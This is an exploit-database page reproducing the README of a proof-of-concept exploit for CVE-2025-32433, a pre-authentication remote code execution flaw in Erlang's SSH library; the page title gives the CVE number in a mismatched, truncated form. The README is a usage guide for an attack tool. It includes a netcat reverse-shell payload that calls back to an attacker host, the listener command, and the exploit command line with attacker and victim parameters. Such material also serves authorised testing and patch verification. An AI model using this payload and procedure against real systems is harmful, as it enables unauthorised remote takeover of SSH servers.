Exploit for CVE-2025-3243

Vulnerability Details

Basic Information

Title Exploit for CVE-2025-3243
Type githubexploit
Published 2025-04-24T19:31:49
Last Seen 2025-04-25T00:03:35
CVSS Score 10.0 (CRITICAL)

CVSS v3 Details

Attack Vector NETWORK
Attack Complexity LOW
Privileges Required NONE
User Interaction NONE
Scope CHANGED
Confidentiality Impact HIGH
Integrity Impact HIGH
Availability Impact HIGH

CVE Information

CVE IDs CVE-2025-32433, CVE-2025-3243
CWE
Bulletin Family exploit

Description

# CVE-2025-32433 Erlang SSH Library Exploit

A proof-of-concept exploit for **CVE-2025-32433**, a critical vulnerability in Erlang’s SSH library that allows pre-authenticated code execution via malformed `SSH_MSG_CHANNEL_REQUEST` packets.

## Features

– **Original exploit** by Matthew Keeley
– **Updated version** by Tyler Ramsbey:
– Command‑line arguments for **LHOST**, **LPORT**, **RHOST**, and **RPORT**
– Built‑in help and usage via `argparse`
– Erlang‑style reverse shell payload using `os:cmd(“nc LHOST LPORT -e /bin/sh”).`
– Clean function decomposition and status logging for each stage

## Prerequisites

– **Python 3**
– A working `nc` (Netcat) listener on your attack machine
– Network access to the target SSH service (default port `22`)

## Usage

1. **Start your listener** on the attack box:

“`sh
nc -lvnp 4444
“`

2. **Run the exploit**:

“`sh
python3 CVE-2025-32433.py -lh [Attacker-IP] -lp [Attacker-Port] -rh [Victim-IP] -rp [Victim-Port]
“`

3. **Wait for the shell** to connect back to your listener.

### Help Menu

“`sh
$ python3 CVE-2025-32433.py -h
usage: CVE-2025-32433.py [-h] -lh LHOST -lp LPORT [-rh RHOST] [-rp RPORT]

Send a pre-auth SSH channel request with an Erlang RCE payload
to get a reverse shell

optional arguments:
-h, –help show this help message and exit
-lh LHOST, –lhost LHOST
Local host/IP to receive the reverse shell
-lp LPORT, –lport LPORT
Local port to receive the reverse shell
-rh RHOST, –rhost RHOST
Target SSH server IP (default: 10.10.248.101)
-rp RPORT, –rport RPORT
Target SSH server port (default: 22)
“`

## Credits

– **Original script** by Matthew Keeley ([MattKeeley](https://github.com/MattKeeley))
– **This updated version** by Tyler Ramsbey

## Disclaimer

Use this code only on systems you own or have explicit permission to test. Unauthorized exploitation of vulnerabilities is illegal and unethical.

Impact Assessment

Base Score 10.0
Severity CRITICAL

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.